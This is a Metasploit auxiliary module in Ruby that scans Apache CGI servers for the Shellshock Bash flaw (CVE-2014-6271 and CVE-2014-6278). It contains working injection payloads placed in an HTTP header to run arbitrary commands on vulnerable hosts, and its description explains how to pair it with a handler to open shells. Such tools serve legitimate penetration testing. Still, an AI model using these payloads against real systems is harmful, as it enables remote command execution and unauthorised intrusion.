Brent Cook
136 lines
3.8 KiB
Ruby
136 lines
3.8 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
include Msf::Auxiliary::Report
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner',
|
|
'Description' => %q{
|
|
This module scans for the Shellshock vulnerability, a flaw in how the Bash shell
|
|
handles external environment variables. This module targets CGI scripts in the
|
|
Apache web server by setting the HTTP_USER_AGENT environment variable to a
|
|
malicious function definition.
|
|
|
|
PROTIP: Use exploit/multi/handler with a PAYLOAD appropriate to your
|
|
CMD, set ExitOnSession false, run -j, and then run this module to create
|
|
sessions on vulnerable hosts.
|
|
|
|
Note that this is not the recommended method for obtaining shells.
|
|
If you require sessions, please use the apache_mod_cgi_bash_env_exec
|
|
exploit module instead.
|
|
},
|
|
'Author' => [
|
|
'Stephane Chazelas', # Vulnerability discovery
|
|
'wvu', # Metasploit module
|
|
'lcamtuf' # CVE-2014-6278
|
|
],
|
|
'References' => [
|
|
['CVE', '2014-6271'],
|
|
['CVE', '2014-6278'],
|
|
['OSVDB', '112004'],
|
|
['EDB', '34765'],
|
|
['URL', 'https://access.redhat.com/articles/1200223'],
|
|
['URL', 'http://seclists.org/oss-sec/2014/q3/649']
|
|
],
|
|
'DisclosureDate' => 'Sep 24 2014',
|
|
'License' => MSF_LICENSE
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Path to CGI script']),
|
|
OptString.new('METHOD', [true, 'HTTP method to use', 'GET']),
|
|
OptString.new('HEADER', [true, 'HTTP header to use', 'User-Agent']),
|
|
OptString.new('CMD', [true, 'Command to run (absolute paths required)',
|
|
'/usr/bin/id']),
|
|
OptEnum.new('CVE', [true, 'CVE to check/exploit', 'CVE-2014-6271',
|
|
['CVE-2014-6271', 'CVE-2014-6278']])
|
|
], self.class)
|
|
end
|
|
|
|
def check_host(ip)
|
|
res = req("echo #{marker}", datastore['CVE'])
|
|
|
|
if res && res.body.include?(marker * 3)
|
|
report_vuln(
|
|
:host => ip,
|
|
:port => rport,
|
|
:name => self.name,
|
|
:refs => self.references
|
|
)
|
|
return Exploit::CheckCode::Vulnerable
|
|
elsif res && res.code == 500
|
|
injected_res_code = res.code
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => datastore['METHOD'],
|
|
'uri' => normalize_uri(target_uri.path.to_s)
|
|
})
|
|
|
|
if res && injected_res_code == res.code
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res && injected_res_code != res.code
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
def run_host(ip)
|
|
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
|
|
|
|
res = req(datastore['CMD'], datastore['CVE'])
|
|
|
|
if res && res.body =~ /#{marker}(.+)#{marker}/m
|
|
print_good("#{$1}")
|
|
report_vuln(
|
|
:host => ip,
|
|
:port => rport,
|
|
:name => self.name,
|
|
:refs => self.references
|
|
)
|
|
end
|
|
end
|
|
|
|
def req(cmd, cve)
|
|
case cve
|
|
when 'CVE-2014-6271'
|
|
sploit = cve_2014_6271(cmd)
|
|
when 'CVE-2014-6278'
|
|
sploit = cve_2014_6278(cmd)
|
|
end
|
|
|
|
send_request_cgi(
|
|
'method' => datastore['METHOD'],
|
|
'uri' => normalize_uri(target_uri.path),
|
|
'headers' => {
|
|
datastore['HEADER'] => sploit
|
|
}
|
|
)
|
|
end
|
|
|
|
def cve_2014_6271(cmd)
|
|
%Q{() { :;};echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"}
|
|
end
|
|
|
|
def cve_2014_6278(cmd)
|
|
%Q{() { _; } >_[$($())] { echo -e "\\r\\n#{marker}$(#{cmd})#{marker}"; }}
|
|
end
|
|
|
|
def marker
|
|
@marker ||= Rex::Text.rand_text_alphanumeric(rand(42) + 1)
|
|
end
|
|
|
|
end
|